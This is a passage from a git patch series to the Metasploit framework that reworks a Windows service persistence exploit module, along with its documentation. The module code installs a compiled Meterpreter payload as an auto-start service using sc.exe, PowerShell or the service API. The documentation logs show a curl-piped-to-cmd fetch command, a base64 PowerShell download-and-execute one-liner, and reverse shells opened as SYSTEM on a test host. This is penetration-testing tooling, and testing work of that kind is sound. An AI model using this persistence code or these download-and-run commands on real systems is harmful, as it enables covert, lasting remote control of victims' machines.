leaving here for comments during review + # vprint_status(service_create(@service_name, + # { + # display: @service_dname, + # path: path + # }).to_s) + print_status("Starting service #{@service_name}") + # same as above, error: [-] Exploit failed: RuntimeError Could not open service. OpenServiceA error: FormatMessage failed to retrieve the error. + # service_start(@service_name) + if have_powershell? && datastore['METHOD'] == 'Powershell' + vprint_status(cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")) + else + vprint_status(cmd_exec("sc.exe start \"#{@service_name}\"")) + end + end +end From 0455c65b8efa5dc3550cd917e95a6868039c8258 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 22 Oct 2025 16:45:30 -0400 Subject: [PATCH 2/7] fix sc commands in windows service persistence --- modules/exploits/windows/persistence/service.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index ecbf119fa1b6b..524ea13a200ce 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -38,6 +38,7 @@ def initialize(info = {}) 'DefaultTarget' => 0, 'References' => [ ['URL', 'https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/new-service?view=powershell-7.5'], + ['URL', 'https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc754599(v=ws.11)'], ['ATT&CK', Mitre::Attack::Technique::T1543_003_WINDOWS_SERVICE], ['ATT&CK', Mitre::Attack::Technique::T1569_002_SERVICE_EXECUTION] ], @@ -122,10 +123,9 @@ def install_service(path) sc_cmd = "sc.exe create #{@service_name} " sc_cmd << "binPath= \"#{path}\" " sc_cmd << 'start= auto ' - sc_cmd << "DisplayName= \"#{@service_dname}\"; " - sc_cmd << "sc.exe description #{@service_name} \"#{@service_description}\"" - + sc_cmd << "DisplayName= \"#{@service_dname}\"" vprint_status(cmd_exec(sc_cmd)) + vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\"")) end # in theory this should be equivalent, but with a meterpreter x64/windows # payload with admin privs it kept giving me a status of 6 and saying the service wasn't created From f1541708ffb861ca1cf0bdd807f5fa5edf0f903f Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 22 Oct 2025 16:58:09 -0400 Subject: [PATCH 3/7] fix docs --- .../exploit/windows/persistence/service.md | 22 ++++++++----------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/documentation/modules/exploit/windows/persistence/service.md b/documentation/modules/exploit/windows/persistence/service.md index 952c95edc5f28..efee468e711be 100644 --- a/documentation/modules/exploit/windows/persistence/service.md +++ b/documentation/modules/exploit/windows/persistence/service.md @@ -5,30 +5,26 @@ It will create a new service which will start the payload whenever the service i ## Options - **REMOTE_EXE_NAME** +### PAYLOAD_NAME - The remote victim name. Random string as default. +Name of payload file to write. Random string as default. - **REMOTE_EXE_PATH** +### SERVICE_NAME -The remote victim exe path to run. Use temp directory as default. - - **RETRY_TIME** - -The retry time that shell connect failed. 5 seconds as default. +The name of service. Random string as default. - **SERVICE_DESCRIPTION** +### SERVICE_DESCRIPTION The description of service. Random string as default. - **SERVICE_NAME** +### SERVICE_DISPLAY_NAME -The name of service. Random string as default. +The display name of service. Random string as default. ## Verification Steps -1. get session on target -2. `use exploit/windows/local/persistence_service` +1. get session on target with admin/system privs +2. `use exploit/windows/persistence/service` 3. `set payload ` 4. `set lport ` 5. `set lhost ` From 1c9bc02e992eabf8988f3be8be0fcd15947ab5d2 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 23 Oct 2025 17:42:26 -0400 Subject: [PATCH 4/7] throw this away --- .../windows/local/persistence_service.rb | 202 ++++++++++++++++++ 1 file changed, 202 insertions(+) create mode 100644 modules/exploits/windows/local/persistence_service.rb diff --git a/modules/exploits/windows/local/persistence_service.rb b/modules/exploits/windows/local/persistence_service.rb new file mode 100644 index 0000000000000..e28e62a73e7c6 --- /dev/null +++ b/modules/exploits/windows/local/persistence_service.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +require 'metasploit/framework/compiler/windows' + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::Common + include Msf::Post::File + include Msf::Post::Windows::Priv + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Persistent Service Installer', + 'Description' => %q{ + This Module will generate and upload an executable to a remote host, next will make it a persistent service. + It will create a new service which will start the payload whenever the service is running. Admin or system + privilege is required. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Green-m ' ], + 'Platform' => [ 'windows' ], + 'Targets' => [['Windows', {}]], + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultTarget' => 0, + 'References' => [ + [ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ] + ], + 'DisclosureDate' => '2018-10-20', + 'Compat' => { + 'Meterpreter' => { + 'Commands' => %w[ + core_channel_eof + core_channel_open + core_channel_read + core_channel_write + stdapi_sys_config_getenv + stdapi_sys_config_sysinfo + stdapi_sys_process_execute + ] + } + }, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) + + register_options( + [ + OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]), + OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']), + OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']), + OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]), + OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ]) + ] + ) + end + + # Run Method for when run command is issued + #------------------------------------------------------------------------------- + def exploit + unless is_system? || is_admin? + print_error('Insufficient privileges to create service') + return + end + + unless datastore['PAYLOAD'] =~ %r{^windows/(shell|meterpreter)/reverse} + print_error('Only support for windows meterpreter/shell reverse staged payload') + return + end + + print_status("Running module against #{sysinfo['Computer']}") + + # Set variables + rexepath = datastore['REMOTE_EXE_PATH'] + @retry_time = datastore['RETRY_TIME'] + rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8) + @service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8) + @service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16) + + # Add the windows pe suffix to rexename + unless rexename.end_with?('.exe') + rexename << '.exe' + end + + host, _port = session.tunnel_peer.split(':') + @clean_up_rc = '' + + buf = create_payload + vprint_status(buf) + metsvc_code = metsvc_template(buf) + bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code) + + victim_path = write_exe_to_target(bin, rexename, rexepath) + install_service(victim_path) + + clean_rc = log_file + file_local_write(clean_rc, @clean_up_rc) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + + report_note(host: host, + type: 'host.persistance.cleanup', + data: { + local_id: session.sid, + stype: session.type, + desc: session.info, + platform: session.platform, + via_payload: session.via_payload, + via_exploit: session.via_exploit, + created_at: Time.now.utc, + commands: @clean_up_rc + }) + end + + def create_payload + p = payload.encoded + Msf::Simple::Buffer.transform(p, 'c', 'buf') + end + + # Function for writing executable to target host + # Code from post/windows/manage/persistence_exe + # + def write_exe_to_target(rexe, rexename, rexepath) + # check if we have write permission + if rexepath + begin + temprexe = rexepath + '\\' + rexename + write_file_to_target(temprexe, rexe) + rescue Rex::Post::Meterpreter::RequestError + print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%") + temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename + write_file_to_target(temprexe, rexe) + end + + # Write to %temp% directory if not set REMOTE_EXE_PATH + else + temprexe = session.sys.config.getenv('TEMP') + '\\' + rexename + write_file_to_target(temprexe, rexe) + end + + print_good("Meterpreter service exe written to #{temprexe}") + + @clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended. + @clean_up_rc << "rm \"#{temprexe.gsub('\\', '\\\\\\\\')}\"\n" + + temprexe + end + + def write_file_to_target(temprexe, rexe) + fd = session.fs.file.new(temprexe, 'wb') + fd.write(rexe) + fd.close + end + + # Function for creating log folder and returning log path + #------------------------------------------------------------------------------- + def log_file + # Get hostname + host = session.sys.config.sysinfo['Computer'] + + # Create Filename info to be appended to downloaded files + filenameinfo = '_' + ::Time.now.strftime('%Y%m%d.%M%S') + + # Create a directory for the logs + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo)) + + # Create the log directory + ::FileUtils.mkdir_p(logs) + + logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + '.rc' + end + + # Function to install payload as a service + #------------------------------------------------------------------------------- + def install_service(path) + print_status("Creating service #{@service_name}") + + begin + session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, { 'Hidden' => true }) + rescue ::Exception => e + print_error('Failed to install the service.') + print_error(e.to_s) + end + + @clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc + @clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc + end + + def metsvc_template(buf) + @install_cmd = Rex::Text.rand_text_alpha(4..8) + @start_cmd = Rex::Text.rand_text_alpha(4..8) + template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb')) + ERB.new(template).result(binding) + end +end From 0705d1551713763d972b91b92ef97afa6db515ae Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 4 Nov 2025 19:37:22 -0500 Subject: [PATCH 5/7] rewriting service --- .../exploits/windows/persistence/service.rb | 64 ++++++++++--------- 1 file changed, 33 insertions(+), 31 deletions(-) diff --git a/modules/exploits/windows/persistence/service.rb b/modules/exploits/windows/persistence/service.rb index 524ea13a200ce..1fa818b2cc9ec 100644 --- a/modules/exploits/windows/persistence/service.rb +++ b/modules/exploits/windows/persistence/service.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking - # include Post::Windows::Services + include Post::Windows::Services include Msf::Post::File include Msf::Post::Windows::Priv include Post::Windows::Powershell @@ -65,7 +65,7 @@ def initialize(info = {}) register_advanced_options( [ - OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Powershell', ['Powershell', 'sc.exe']]), + OptEnum.new('METHOD', [false, 'Which method to register and start the service', 'Auto', ['Auto', 'API', 'Powershell', 'sc.exe']]), ] ) end @@ -109,39 +109,41 @@ def install_persistence @clean_up_rc << "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" end + def powershell_service + service_builder = "New-Service -Name '#{@service_name}' " + service_builder << "-DisplayName '#{@service_dname}' " + service_builder << "-Description '#{@service_description}' " + service_builder << "-BinaryPathName '#{path}' " + service_builder << '-StartupType Automatic' + vprint_status(cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")) + vprint_status(cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")) + end + + def sc_service + sc_cmd = "sc.exe create #{@service_name} " + sc_cmd << "binPath= \"#{path}\" " + sc_cmd << 'start= auto ' + sc_cmd << "DisplayName= \"#{@service_dname}\"" + vprint_status(cmd_exec(sc_cmd)) + vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\"")) + vprint_status(cmd_exec("sc.exe start \"#{@service_name}\"")) + end + + def api_service + print_status(' Install service: ' + service_create(@service_name, + { + display: @service_dname, + path: dest_pathname + }).to_s) + vprint_status(' Start service: ' + service_start(@service_name)) + end + def install_service(path) print_status("Creating service #{@service_name}") if have_powershell? && datastore['METHOD'] == 'Powershell' - service_builder = "New-Service -Name '#{@service_name}' " - service_builder << "-DisplayName '#{@service_dname}' " - service_builder << "-Description '#{@service_description}' " - service_builder << "-BinaryPathName '#{path}' " - service_builder << '-StartupType Automatic' - vprint_status(cmd_exec("powershell -NoProfile -Command \"#{service_builder};\"")) - else - # build sc command(s) and execute them - sc_cmd = "sc.exe create #{@service_name} " - sc_cmd << "binPath= \"#{path}\" " - sc_cmd << 'start= auto ' - sc_cmd << "DisplayName= \"#{@service_dname}\"" - vprint_status(cmd_exec(sc_cmd)) - vprint_status(cmd_exec("sc.exe description #{@service_name} \"#{@service_description}\"")) - end - # in theory this should be equivalent, but with a meterpreter x64/windows - # payload with admin privs it kept giving me a status of 6 and saying the service wasn't created - # leaving here for comments during review - # vprint_status(service_create(@service_name, - # { - # display: @service_dname, - # path: path - # }).to_s) - print_status("Starting service #{@service_name}") - # same as above, error: [-] Exploit failed: RuntimeError Could not open service. OpenServiceA error: FormatMessage failed to retrieve the error. - # service_start(@service_name) - if have_powershell? && datastore['METHOD'] == 'Powershell' - vprint_status(cmd_exec("powershell -NoProfile -Command \"Start-Service '#{@service_name}'\"")) + powershell_service else - vprint_status(cmd_exec("sc.exe start \"#{@service_name}\"")) + sc_service end end end From 4e54ce91a62df2469adc165a7d2fb36076f9b632 Mon Sep 17 00:00:00 2001 From: h00die Date: Wed, 5 Nov 2025 16:36:54 -0500 Subject: [PATCH 6/7] rework windows service persistence --- .../exploit/windows/persistence/service.md | 233 ++++++++++++------ .../exploits/windows/persistence/service.rb | 81 +++--- 2 files changed, 214 insertions(+), 100 deletions(-) diff --git a/documentation/modules/exploit/windows/persistence/service.md b/documentation/modules/exploit/windows/persistence/service.md index efee468e711be..0c5ea20731ffa 100644 --- a/documentation/modules/exploit/windows/persistence/service.md +++ b/documentation/modules/exploit/windows/persistence/service.md @@ -21,6 +21,10 @@ The description of service. Random string as default. The display name of service. Random string as default. +### METHOD + +Which method to use to create and start the service. Options are `Auto` (try all until one is successful), `API`, `Powershell`, `sc.exe` + ## Verification Steps 1. get session on target with admin/system privs @@ -32,7 +36,7 @@ The display name of service. Random string as default. ## Scenarios -### Windows 10 22H2+ (10.0 Build 19045) +### Windows 10 1909 (10.0 Build 18363) Initial shell @@ -43,117 +47,208 @@ resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1 lhost => 1.1.1.1 resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -resource (/root/.msf4/msfconsole.rc)> set target 2 -target => 2 -resource (/root/.msf4/msfconsole.rc)> set srvport 8085 -srvport => 8085 -resource (/root/.msf4/msfconsole.rc)> set uripath w2 -uripath => w2 -resource (/root/.msf4/msfconsole.rc)> set payload payload/windows/x64/meterpreter/reverse_tcp -payload => windows/x64/meterpreter/reverse_tcp -resource (/root/.msf4/msfconsole.rc)> set lport 4449 -lport => 4449 -resource (/root/.msf4/msfconsole.rc)> run -[*] Exploit running as background job 0. -[*] Exploit completed, but no session was created. +resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL +fetch_command => CURL +resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true +fetch_pipe => true +resource (/root/.msf4/msfconsole.rc)> set lport 4450 +lport => 4450 +resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3 +FETCH_URIPATH => w3 +resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB +FETCH_FILENAME => mkaKJBzbDB +resource (/root/.msf4/msfconsole.rc)> to_handler +[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe + +[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd +[*] Payload Handler Started as Job 0 [*] Starting persistent handler(s)... -[*] Started reverse TCP handler on 1.1.1.1:4449 -[*] Using URL: http://1.1.1.1:8085/w2 -[*] Server started. -[*] Run the following command on the target machine: -powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABlAEkAVgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ADsAaQBmACgAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5AF0AOgA6AEcAZQB0AEQAZQBmAGEAdQBsAHQAUAByAG8AeAB5ACgAKQAuAGEAZABkAHIAZQBzAHMAIAAtAG4AZQAgACQAbgB1AGwAbAApAHsAJABlAEkAVgAuAHAAcgBvAHgAeQA9AFsATgBlAHQALgBXAGUAYgBSAGUAcQB1AGUAcwB0AF0AOgA6AEcAZQB0AFMAeQBzAHQAZQBtAFcAZQBiAFAAcgBvAHgAeQAoACkAOwAkAGUASQBWAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADIALgAyADIAOAA6ADgAMAA4ADUALwB3ADIALwBaAE0AOQB5AE0AUQA5ACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAuADIAMgA4ADoAOAAwADgANQAvAHcAMgAnACkAKQA7AA== -msf exploit(multi/script/web_delivery) > -[*] 2.2.2.2 web_delivery - Powershell command length: 3694 -[*] 2.2.2.2 web_delivery - Delivering Payload (3694 bytes) -[*] Sending stage (230982 bytes) to 2.2.2.2 -[*] Meterpreter session 1 opened (1.1.1.1:4449 -> 2.2.2.2:49879) at 2025-10-21 17:17:25 -0400 - -msf exploit(multi/script/web_delivery) > sessions -i 1 +[*] Fetch handler listening on 1.1.1.1:8080 +[*] HTTP server started +[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg +[*] Adding resource /w3 +[*] Started reverse TCP handler on 1.1.1.1:4450 +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > +[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg +[*] Sending payload to 2.2.2.2 (curl/7.79.1) +[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49801) at 2025-11-05 16:15:06 -0500 + +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1 [*] Starting interaction with 1... -meterpreter > getuid -Server username: WIN10PROLICENSE\windows meterpreter > sysinfo Computer : WIN10PROLICENSE -OS : Windows 10 22H2+ (10.0 Build 19045). +OS : Windows 10 1909 (10.0 Build 18363). Architecture : x64 System Language : en_US Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows +meterpreter > getuid +Server username: WIN10PROLICENSE\windows meterpreter > background [*] Backgrounding session 1... ``` -Persistence +Method: `sc.exe` ``` -msf exploit(multi/script/web_delivery) > use exploit/windows/persistence/service +msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/service [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp msf exploit(windows/persistence/service) > set session 1 session => 1 msf exploit(windows/persistence/service) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf exploit(windows/persistence/service) > check -[*] The target appears to be vulnerable. Likely exploitable +msf exploit(windows/persistence/service) > set method sc.exe +method => sc.exe msf exploit(windows/persistence/service) > exploit [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. -msf exploit(windows/persistence/service) > + [*] Started reverse TCP handler on 1.1.1.1:4444 -[*] Running automatic check ("set AutoCheck false" to disable) +msf exploit(windows/persistence/service) > [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Likely exploitable [*] Compiling payload -[+] Payload written to C:\Users\windows\AppData\Local\Temp\wbiSigF.exe -[*] Creating service nCRFXqySYQhQ -[*] +[+] Payload written to C:\Users\windows\AppData\Local\Temp\nAhKD.exe +[*] Attempting sc.exe method +[*] Install service: amOovON (YmGjSOMpyNU) +[*] Service install response: [SC] CreateService SUCCESS +[*] [SC] ChangeServiceConfig2 SUCCESS +[*] Starting service +[*] Sending stage (188998 bytes) to 2.2.2.2 +[*] Service start response: +SERVICE_NAME: YmGjSOMpyNU + TYPE : 10 WIN32_OWN_PROCESS + STATE : 4 RUNNING + (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN) + WIN32_EXIT_CODE : 0 (0x0) + SERVICE_EXIT_CODE : 0 (0x0) + CHECKPOINT : 0x0 + WAIT_HINT : 0x0 + PID : 6664 + FLAGS : +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3037/WIN10PROLICENSE_20251105.3037.rc +[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49831) at 2025-11-05 16:30:40 -0500 + +msf exploit(windows/persistence/service) > jobs -K +Stopping all jobs... +``` + +Method: `Powershell` + +``` +msf exploit(windows/persistence/service) > set method Powershell +method => Powershell +msf exploit(windows/persistence/service) > exploit +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 1.1.1.1:4444 +msf exploit(windows/persistence/service) > [*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Likely exploitable +[*] Compiling payload +[+] Payload written to C:\Users\windows\AppData\Local\Temp\ShNuFKol.exe +[*] Attempting Powershell method +[*] Install service: eIOICL (mpSlHnVCx) +[*] Service install response: Status Name DisplayName ------ ---- ----------- -Stopped nCRFXqySYQhQ KZwKk +Stopped mpSlHnVCx eIOICL -[*] Starting service nCRFXqySYQhQ -[*] -[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc +[*] Starting service +[*] Service start response: +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3118/WIN10PROLICENSE_20251105.3118.rc [*] Sending stage (188998 bytes) to 2.2.2.2 -[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49880) at 2025-10-21 17:18:05 -0400 +[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:49833) at 2025-11-05 16:31:22 -0500 + +msf exploit(windows/persistence/service) > jobs -K +Stopping all jobs... ``` -Manually starting the service again +Method: `API` ``` -msf exploit(windows/persistence/service) > sessions -i 1 -[*] Starting interaction with 1... - -meterpreter > execute -H -f sc.exe -a "start nCRFXqySYQhQ" -Process 3548 created. -meterpreter > +msf exploit(windows/persistence/service) > set method API +method => API +msf exploit(windows/persistence/service) > exploit +[*] Exploit running as background job 3. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/service) > +[*] Started reverse TCP handler on 1.1.1.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Likely exploitable +[*] Compiling payload +[+] Payload written to C:\Users\windows\AppData\Local\Temp\ETuJrSPU.exe +[*] Attempting API method +[*] Install service: vElWSh (krKyTZyQvSWg) +[*] Service install code: 0 +[*] Starting service [*] Sending stage (188998 bytes) to 2.2.2.2 -[*] Meterpreter session 3 opened (1.1.1.1:4444 -> 2.2.2.2:49881) at 2025-10-21 17:18:40 -0400 +[*] Service start code: 0 +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3137/WIN10PROLICENSE_20251105.3137.rc +[*] Meterpreter session 4 opened (1.1.1.1:4444 -> 2.2.2.2:49834) at 2025-11-05 16:31:41 -0500 +``` -meterpreter > background -[*] Backgrounding session 1... -smsf exploit(windows/persistence/service) > sessions +Method: `Auto` -Active sessions -=============== +``` +msf exploit(windows/persistence/service) > set method Auto +method => Auto +msf exploit(windows/persistence/service) > exploit +[*] Exploit running as background job 4. +[*] Exploit completed, but no session was created. +msf exploit(windows/persistence/service) > +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Likely exploitable +[*] Compiling payload +[+] Payload written to C:\Users\windows\AppData\Local\Temp\xuGMR.exe +[*] Attempting API method +[*] Install service: cbuEWFVI (NzbjSkwfZrk) +[*] Service install code: 0 +[*] Starting service +[*] Sending stage (188998 bytes) to 2.2.2.2 +[*] Service start code: 0 +[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3203/WIN10PROLICENSE_20251105.3203.rc +[*] Meterpreter session 5 opened (1.1.1.1:4444 -> 2.2.2.2:49835) at 2025-11-05 16:32:06 -0500 +``` - Id Name Type Information Connection - -- ---- ---- ----------- ---------- - 1 meterpreter x64/windows WIN10PROLICENSE\windows @ WIN10PROLICENSE 1.1.1.1:4449 -> 2.2.2.2:49879 (2.2.2.2) - 2 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN10PROLICENSE 1.1.1.1:4444 -> 2.2.2.2:49880 (2.2.2.2) - 3 meterpreter x86/windows NT AUTHORITY\SYSTEM @ WIN10PROLICENSE 1.1.1.1:4444 -> 2.2.2.2:49881 (2.2.2.2) +Cleanup +``` msf exploit(windows/persistence/service) > sessions -i 1 [*] Starting interaction with 1... -meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc -[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc for ERB directives. -resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc)> rm "C:\\Users\\windows\\AppData\\Local\\Temp\\wbiSigF.exe" -resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc)> execute -H -f sc.exe -a "stop nCRFXqySYQhQ" -Process 7052 created. -resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251021.1801/WIN10PROLICENSE_20251021.1801.rc)> execute -H -f sc.exe -a "delete nCRFXqySYQhQ" -Process 10524 created. +meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3037/WIN10PROLICENSE_20251105.3037.rc +[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3037/WIN10PROLICENSE_20251105.3037.rc for ERB directives. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3037/WIN10PROLICENSE_20251105.3037.rc)> rm "C:\\Users\\windows\\AppData\\Local\\Temp\\nAhKD.exe" +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3037/WIN10PROLICENSE_20251105.3037.rc)> execute -H -f sc.exe -a "stop YmGjSOMpyNU" +Process 2812 created. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3037/WIN10PROLICENSE_20251105.3037.rc)> execute -H -f sc.exe -a "delete YmGjSOMpyNU" +Process 4140 created. +meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3118/WIN10PROLICENSE_20251105.3118.rc +[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3118/WIN10PROLICENSE_20251105.3118.rc for ERB directives. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3118/WIN10PROLICENSE_20251105.3118.rc)> rm "C:\\Users\\windows\\AppData\\Local\\Temp\\ShNuFKol.exe" +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3118/WIN10PROLICENSE_20251105.3118.rc)> execute -H -f sc.exe -a "stop mpSlHnVCx" +Process 680 created. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3118/WIN10PROLICENSE_20251105.3118.rc)> execute -H -f sc.exe -a "delete mpSlHnVCx" +Process 8940 created. +meterpreter > run /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3137/WIN10PROLICENSE_20251105.3137.rc +[*] Processing /root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3137/WIN10PROLICENSE_20251105.3137.rc for ERB directives. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3137/WIN10PROLICENSE_20251105.3137.rc)> rm "C:\\Users\\windows\\AppData\\Local\\Temp\\ETuJrSPU.exe" +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3137/WIN10PROLICENSE_20251105.3137.rc)> execute -H -f sc.exe -a "stop krKyTZyQvSWg" +Process 3660 created. +resource (/root/.msf4/logs/persistence/WIN10PROLICENSE_20251105.3137/WIN10PROLICENSE_20251105.3137.rc)> execute -H -f sc.exe -a "delete krKyTZyQvSWg" +Process 1728 created. +meterpreter > run 